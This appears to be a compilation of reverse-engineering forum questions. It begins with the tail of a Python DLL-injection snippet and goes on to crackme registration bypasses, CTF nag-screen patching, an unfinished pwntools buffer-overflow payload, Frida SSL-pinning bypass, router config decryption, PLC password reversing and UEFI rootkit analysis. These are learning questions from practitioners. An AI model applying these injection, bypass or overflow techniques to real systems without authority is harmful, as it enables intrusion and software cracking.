    dll = kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id))
    return dll

mydll = DLL("mydll.dll", os.getpid())
mydll.hello()
</code>```

Title: Call function from dll


问:
x64dbg placing a on write breakpoint on a dynamic allocated address
I am currently trying to reverse the registration scheme of a crackme. I found the jump instruction that decides if the title of the program says “registered” or “unregistered” by simply searching for stringreferences. The compare looks like that:

```<code>cmp byte ptr ds:[eax+0x1620], 0x0
</code>```

The address contained in eax is always a different one, which makes it hard to set a breakpoint on the compared address. I already tried to track back eax, but that obviously results in hours of work without any result.

Does anybody know a technique to get the part in the disassembly where the program decides whether I am registered or not?

Thanks in advance.

Btw. I am not asking for a crack. I often come across compares like that, and they always discourage me because I don't know what to do there.

Sorry for the broken English.


问:
Normal artifact or something else?
I'm working on a Linux ELF challenge.

I have found this bit of code in the .text disassembly using objdump -d -M intel program

```<code> 922:   83 c4 10                add    esp,0x10
 925:   c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 92c:   83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
 930:   74 29                   je     95b <main@@Base+0x26b>

 932:   83 ec 08                sub    esp,0x8
 935:   ff 75 f4                push   DWORD PTR [ebp-0xc]
 938:   8d 83 e4 ea ff ff       lea    eax,[ebx-0x151c]
 93e:   50                      push   eax
 93f:   e8 ac fb ff ff          call   4f0 <printf@plt>
 944:   83 c4 10                add    esp,0x10
 947:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 94a:   0f af 45 f4             imul   eax,DWORD PTR [ebp-0xc]
 94e:   89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 951:   8b 55 08                mov    edx,DWORD PTR [ebp+0x8]
 954:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 957:   01 d0                   add    eax,edx
 959:   ff d0                   call   eax
</code>```

There are no references to address 932 in the code so it is either an indirect call like we see at the last address 959 or it is intentionally left out and I have to patch to get to this section.  I suspect it is the latter as there is a piece of code elsewhere that points to a deadc0de address.  However, When I patch to this section, the only string given is "Unexpected error condition. Control char is %d\n" which makes me wonder if this is some sort of normal compiler artifact.

My questions are

Am I focusing on the wrong section because this is indeed a normal artifact?

If 925 sets a stack address to 0 and then 92c compares that same stack address to 0, is there any way that this check could ever fail so that je at 930 is not taken?

27-04-2022 EDIT:
readelf -x .rodata <program> returns the "Unexpected error condition ..." string as part of the rodata section.  This very much leads me to believe that this is not a compiler artifact and is instead, part of the challenge

Title: Normal artifact or something else?


问:
Ghidra resolving ordinals (WS2_32.DLL)
I think I have done this in the past but I cannot remember anymore.

What are the steps to make Ghidra in Linux recognise the import names instead of using the Ordinals?

(They are recognised automatically in Windows)

Title: Ghidra resolving ordinals (WS2_32.DLL)


问:
How to analyze EFI dynamically?
I'm new to reversing UEFI Malware. There is a UEFI rootkit called MoonBounce which I'm trying to analyze dynamically; It's an EFI driver.

I tried a tool called efi_dxe_emulator but it needs an NVRAM file that I don't know exactly how to get it.

Is there a better way to dynamically analyze this EFI file?

Title: How to analyze EFI dynamically?


问:
IDA declare a function that passes return value on FPU stack
The usual way to return a value is by passing it in EAX. I know also that a 64 Bit value would be returned in EAX:EDX. However I have now a function that calcluates the localtime to miliseconds into a 64Bit double value, and the function returns it in the FPU stack, so the caller, upon return, pops it off from there.

IDA identified this function as void and when I try to declare it as double it says that it is a "bad declaraton". Even if IDA would accept it, this would mean that the value would have been passed back using EAX:EDX right?

According to Wikipedia calling conventions, float/doubles are returned using the x87 registers as a standard. So how do I tell IDA this, resp. why doesn't it accept double as the return value?

Update

I found another function which returns a double, and this one is correctly using the double as the return value, when I press Y to change the function. So whats wrong with this one?

void __userpurge GetTimeInMilliseconds(unsigned __int16 nHour<ax>, unsigned __int16 nMinute<dx>, unsigned __int16 nSeconds<cx>, unsigned __int32 nMilliseconds)

When I try to change the void to double, then it failes. I assume that I may have to specify the returnvalue manually, but how do I do this for a FPU register?

Something like this, also doesn't work, so probalby there is some different name for the FPU?

```<code>void __userpurge GetTimeInMilliseconds<st>(unsigned __int16 nHour<ax>, unsigned __int16 nMinute<dx>, unsigned __int16 nSeconds<cx>, unsigned __int32 nMilliseconds)
</code>```

ContentLicense: CC BY-SA 3.0


问:
PPPoE username and password from ZTE ZXHN F680 V6
I'm trying to extract the PPPoE username and password from a ZTE ZXHN F680 V6 router. I have obtained several files from the router and can get access to other files if needed.  Here is where I'm at.

I have obtained the cspd file after reading this Q&A.  I also have a config.bin file but was unable to determine any information from it using binwalk or strings commnads.  Both returned empty results and indicated high level of entropy.

Here is a link to the files extracted from router.

I assume that the PPPoE file will be in an encoded or encrypted or both .xml file.  So, my search in the cspd file for strings resulted in potentially useful information.

```<code>$ strings cspd | grep .xml
/var/tmp/db_user_cfg.xml
CP download xml doc failed!
/etc/db_user_cfg.xml
please input cfg file(/proc/cfg/db_user_cfg.xml) eg.
/var/tmp/db_cp_cfg.xml
/var/tmp/db_reload_cfg.xml
/var/tmp/db_backup_cfg.xml
/etc/db_default_%s_cfg.xml
/var/tmp/db_Decry_cfg.xml
/var/tmp/usb_rst_cfg.xml
dbc_mgr_file_xml.c
at %d line of xml file
sbsize(%d) xmlsize(%d)
/userconfig/cfg/db_user_cfg.xml
/etc/db_default_cfg.xml
/userconfig/cfg/db_backup_cfg.xml
</code>```

I think the best candidates for containing the PPPoE username and password are /userconfig/cfg/db_backup_cfg.xml,  /userconfig/cfg/db_user_cfg.xml and /etc/db_default_cfg.xml.

I have checked those files using binwalk and it seems they are high level of entropy with only one section (no obvious header), so have been encrypted, not simply encoded:

```<code>binwalk -E db_user_cfg.xml

WARNING: Failed to import matplotlib module, visual entropy graphing will be disabled

DECIMAL       HEXADECIMAL     ENTROPY
--------------------------------------------------------------------------------
0             0x0             Rising entropy edge (0.954061)
</code>```

I following the above linked post I have used Ghidra 10 to de-compile the cspd file and searched for these strings, as well as functions for decryption.  I found the following files:

AES_set_decryption_key

AESDecrypt

AESCBCDecry

dbcCfgSetAesKey

DecryByAES

DecryByAESCBC

I think the most likely candidate to get a key for decryption is dbcCfgSetAesKey, but that's only because of the name of the function and the target .xml files have cfg in their names.

The body of the dbcCfgSetAesKey function is below.  It only accepts one variable and :

```<code>undefined4 dbcCfgSetAesKey(void *param_1)

{
  if (param_1 != (void *)0x0) {
    memcpy(g_szMD5Key,param_1,0x20);
    return 0;
  }
  return 0xffffffff;
}
</code>```

I searched Ghidra for g_szMD5Key and found there was only a Label with that name, no function. It appears to me that the above dbcCfgSetAesKey function is copying the config file AES key to a memory location to be accessed later by the decryption process.  They key may be some type of MD5 hash?

My questions are:

What are my options for extracting the key to decrypt the .xml files?  Am I right that they PPPoE data will likely be in the above mentioned .xml files?

Am I generally on the right track to extract config data from a ZTE router such as ZTE ZXHN F680 V6?  I know that they are all different, and have looked at some other tools such as zte-config-utility which I see requires having a key to extract the config files.

What am I missing about this approach to reverse-compiling the router configuration.

I know my questions will be rather noob since I am just starting to learn reverse engineering / compiling.  I am fairly good with encryption and modes, but not create with Ghidra or C++.  If my question is much to simple and uninformed just let me know.


问:
Why does OllyDbg label data segment as read only?
I'm working on this problem: Challenge 53

When compiling with cl c53.c /Fac53.asm /MD in VS2019 X86 Development Console and loading the .exe into OllyDbg, I found OllyDbg labels all segments of c53 as R:

Maybe there is some misunderstanding here, but why is the data segment not writable? Actually when I step into the program I can see the beginning of memory part of "Hello, world!" been overwritten by "Goodbye!" and there was no segfault (unlike in Linux there IS segfault and <s>I'm still trying to figure out why, but that's a different question</s> when checking c53.o in IDA it tells me the string "Hello World!" is in rodata so that segfault makes perfect sense):

To verify that the strings are indeed in data segment, not in rodata segment, I checked the assembly code:

```<code>_DATA   SEGMENT
$SG10125 DB 'Goodbye!', 00H
    ORG $+3
$SG10126 DB 'Result: %s', 0aH, 00H
$SG10129 DB 'Hello, world!', 0aH, 00H
_DATA   ENDS
</code>```


问:
PUSH x VS MOV [ESP], x?
I am a beginner in RE. I compiled some code (x86 32bit), and opened it up in Ghidra.
I come across the following instruction right before a call:

MOV dword ptr [ESP], 0x3c

Where 0x3c is the offset to the start of a string in .rdata, so this acts as a parameter to the proceeding function call which takes a char* data type as an argument.

The question is, why does the compiler decide to do this instead of a simple PUSH 0x3c?

Thanks!

Title: PUSH x VS MOV [ESP], x?


问:
ADD right before CMP?
I am a beginner in RE. I compiled some code (x86 32bit), and opened it up in Ghidra. I come across the following instruction block:

```<code>CALL _strcmp
MOV dword ptr [EBP + local_1c], EAX
MOV EAX, dword ptr [EBP + local_1c]
ADD EAX, 0x4
CMP EAX, 0x8
JA LAB_xxxx
</code>```

I understand this takes the return value of _strcmp and decides whether to jump or not.
But why does the compiler decide to add the ADD EAX, 0x4 instruction right before the CMP? Shouldn't it simply CMP to 0x4 in the first place? (Which is also what I have in my code: if x<=4...)

Thanks!

Title: ADD right before CMP?


问:
Why Qiling doesn't recognize the right EntryPoint?
I'm trying to emulate an EFI driver. Luckily, I found a nice emulator called Qiling and try to debug it with GDB but it doesn't recognize the right Entry-Point.

Here is the Entry-Point in IDA and in GDB with Qiling.

How to resolve this problem and why does it happen?


问:
Patching out relative calls to DLL functions
I have googled, watched several videos, read the PE spec, and even read some blogs. I am at a loss on how to patch out a message box. I am working through a CTF whose first task is to disable a nag screen. I'd like to completely remove the call to MessageBoxW for completeness sake and because the amount of struggling I'm doing now has told me there is some value in learning to do this.

The code is here:

```<code>    004015fc 6a 30           PUSH       0x30
    004015fe 68 88 45        PUSH       u_NAG!_00404588                                  = u"NAG!"
             40 00
    00401603 68 88 45        PUSH       u_NAG!_00404588                                  = u"NAG!"
             40 00
    00401608 6a 00           PUSH       0x0
    0040160a ff 15 6c        CALL       dword ptr [->USER32.DLL::MessageBoxW]            = 00004dd4
             30 40 00
</code>```

Naturally, simply patching the call with nops does not work. If I patch from the first push through the call with NOPs the executable will start and die once it hits this point, as expected. The dynamic disassembly:

```<code>0011160A | 90                       | nop                                     |
0011160B | 90                       | nop                                     |
0011160C | 6C                       | insb                                    |
0011160D | 3011                     | xor byte ptr ds:[ecx],dl                |
0011160F | 008B 0D643011            | add byte ptr ds:[ebx+1130640D],cl       |
</code>```

So something is being relocated and I cannot find it. In fact from above the patching by the loader is obvious. Some of the messed up bytes are the relocated address 0x0011306C. Though, I'm not sure where the bytes after are coming from...I'm guessing there's now misalignment?

Going back to the original call the base address is 0x00400000, which means the address where the function is mapped in memory is at offset 306C. Going to that offset in Ghidra I see:

```<code>    0040306c d4 4d 00 00     addr       USER32.DLL::MessageBoxW
</code>```

Which makes sense. Firing it up in PE-Bear I checked the import address table:

and indeed 306C is the offset into the IAT. But when I look at the relocation table I don't see any address that looks like 160a (the address to the call) where I would expect a patch to be:

(Truncated because the table is huge)

So I am at a loss at how to completely bypass this thing. Could anyone point me to some resources or give me an idea of what I'm doing wrong so I can understand this process a little better?

Thank you!


问:
It does not appear to be a standard CRC. Can I know this formula in reverse?
Interpreting binary protocols for older equipment. I interpreted most of the contents of the protocol, but the last error detection part seems to be in crc16 form, but it does not seem to be standard.
Can you reverse this if it's not standard?

This is the data source from packet capture.

01 24 01 ff 00 04 52 4e 00 00 eb ec 04

01 24 01 ff 00 04 46 56 00 00 fe 2e 04

01 24 01 ff 00 04 52 55 00 00 f9 89 04

01 24 01 ff 00 04 52 54 00 00 f0 c0 04

ex 1)
01 : STX

24 : ??

01 : ID1

ff : ID2

00 : ??

04 : DataLength

52 55 00 00 : Command

eb ec : crc16 ? anything else?

Can you give me a hand?

For your information, we looped polynomials from 0x0000 to 0xFFFF. With some calculations correct, the other data was not the desired crc.

Random substitution script on this site : http://www.zorc.breitbandkatze.de/crc.html

```<code>let order = $('input[name="order"');
let polynom = $('input[name="polynom"');
let init = $('input[name="init"');
let fxor = $('input[name="xor"');
let data = $('input[name="data"');
order.value = 16;
polynom.value = 0001;
init.value=0000;
init.fxor=0000;
let result = $('input[name="result"]');
let cnt = 0;
data.value ='%01%ff%00%04%52%4e%00%00';
let itv= setInterval(()=>{
    polynom.value = (cnt++).toString('16');
    compute();
    if(result.value.startsWith('F0C0')){
        console.log('polynom:'+polynom.value);
        clearInterval(itv);
    }
});

</code>```

Somebody help me!


问:
Warning: struct->til conversion failed
In IDA I noticed a particular struct (FAST_MUTEX) was actually part of a bigger struct whose size I could determine from the code.

So I created a struct from the selection (Create struct from selection).

Alas, whenever I now try to manipulate said new struct, I get the following warning:

struct->til conversion failed

files to calculate alignments for [...]

til conversion failed" />

So I decided to edit the created struct and give it the desired alignment of 0x40. But even this edit action caused the warning to pop up. The same happens when editing individual members of the struct, e.g. by going through the data carousel with D.

Obviously I can simply check the checkbox and be oblivious of any future instances of the warning, but since it is a warning I'd like to know:

what does the warning mean and how serious of an issue is it?

how can I fix it without merely hiding it?

Title: Warning: struct->til conversion failed


问:
Basic buffer-overflow on a remote program with Python/pwntools
I work on a online program in which I should do a buffer Overflow.

When I run the program, I have to complete a sum of two numbers generated randomly) :

```<code>>>> 451389913 + 1587598959 =
</code>```

If I put the right result, I get a "That's okay". Otherwise the console writes "Try it again".

I decompiled the program with Ghidra and get the following code in the main() function :

```<code>{
  int iVar1;
  char local_9 [36];
  int local_42;
  uint local_6;
  uint local_f;

  local_f = rand();
  local_6 = rand();
  local_42 = local_6 + local_f;
  printf(">>> %d + %d = ",(ulong)local_f,(ulong)local_6);
  fflush(stdout);
  fgets(local_9,100,stdin);
  iVar1 = atoi(local_9);
  if (local_42 == iVar1) {
    puts("That's ok");
  }
  else {
    puts("Try it again");
  }
  return 0;
}
</code>```

I notice a fgets function that make me suppose I can do the buffer overflow just before the sum. I also see that the local9 variable is composed of 36 characters. So I suppose that at the beginning of the payload, there must be 36 characters.

I began to write the following snippet with the pwntools Python library :

```<code>import pwn
offset = 36
payload = b'A'*offset + b'[.....]'
c = pwn.remote("URL",Port)
c.sendline(payload)
c.interactive()
</code>```

The thing is I know I have to write something after the b'A'*offset but I don't really see what to add.. My difficulty is to join that sum of random numbers to the payload.

Is it possible to do it ?

Any ideas would be very appreciated, thanks


问:
Password encryption when transferring from master to PLC
So, there is a PLC and a SoftMaster program to work with it. The PLC works according to the XGFenet protocol.
When connecting to the PLC for the first time in SoftMaster, a password must be entered. And I caught this whole process using Wireshark.

At the very beginning, we send a message like this to the PLC:

where 41 44 is a request for a specific session key.

With the next package we get:

The PLC sent us a set of bytes. It is these bytes that are causing this question. More details further.

We enter the password qwerty and it will be converted to

Obviously, the bytes sent in the second packet encrypted our password in this form.
And after that we get correct password

Question: how did the bytes sent in the second packet encrypt our password to this form?

I experimented and wrote a script to request this session key multiple times. All the bytes sent differed by about 1000 units, respectively, something like a time or a countdown is sent to us and the password is encrypted based on it.

If you do not know the answer, advise what other experiments can be done to understand what it is or in what direction to study. Thank you.

UPD

The password length is limited by SoftMaster and you cannot enter more than 8 characters. But, even if the password consists of one character, the encrypted password does not differ in length from eight characters. Similar to hashing.

Here are some examples:

Password A

Password AA

Password AAA

And here is the same password qwerty entered with a difference of a couple of seconds

But there is nothing strange here. Before each entry, a new session key is requested and these two identical passwords are encrypted with different keys.

Using ProcessMonitor, I checked the services that are called during password entry and validation. Maybe there's a hint here


问:
How does `bne` know which bit field in the condition register to branch on? (PowerPC Gekko)
I'm currently reversing a PowerPC Gekko program and saw a bne instruction that branched on the condition register after a rlwinm function. Perfect. That makes sense. bne is checking the third bit of the CR0 bit field in the condition register. I assumed checking CR0 was default and that made sense.

In the next few lines, there was another bne instruction that followed a cmplwi instruction. Cool, I can probably guess that we're branching after the cmplwi (I'm pretty sure this is a loop, probably a for loop). However, my documentation seems to say that cmplwi modifies the CR3 bit field in the condition register.

Both instances of bne did not have a CRx argument as I saw in my documentation, so I'm lost as to which bit field it's checking.

Which bit field in the condition register does bne check when the condition register is unspecified?


问:
iOS unknown library sending ssl pinned request
Here is my problem:

I am trying to access to a ssl pinned request sent by an action I am doing on an iPhone. The action I am making sends two requests:

The first one is ssl pinned, sent by a pre-installed app made by apple, that I can access with Frida simply with frida -U --no-pause -l certSpoofer.js NAME. So no problem, I just had to catch the certificate just before the request was sent, and I can read this request.

BUT, the second one is ssl-pinned, and sent by a builtin library, that my app calls. So the request is not going from my apple app, but from a library, and I don't know what this library is ...

I can't find the process sending this second request. I tried:

frida-trace -U ... MYAPP, but it gave me only results for my first request

frida-trace -U ... -p A_PROCESS_I_THOUGHT_IT_WAS, it might be used in the process but it is not sending the request for sure

grep the request domain on the iPhone to find back the file, but the file matching seems to be a sort of dictionary full of urls and str to be used by many processes, so too much results.

using this script to see the request in the logs. It works, but they are not formatted (e.g:

```<code>Building URL request with URL: %@
Headers
       User Agent: %@
</code>```

so I can't see the details of the request, and still don't know from where it is sent.

Disassembling my app with Hopper Disassembler, to see where it was sending the request, but I didn't find.

I also tried to attach the script I am using to catch requests certificate to ALL pids of the iPhone, in the goal to intercept each request going off the phone: It ended each time very bad making my python crash (not raising exceptions, crashing), so not the best solution.

Does someone knows what I could do in order to, at least, find the process sending my second "background" request ? Thanks a loooot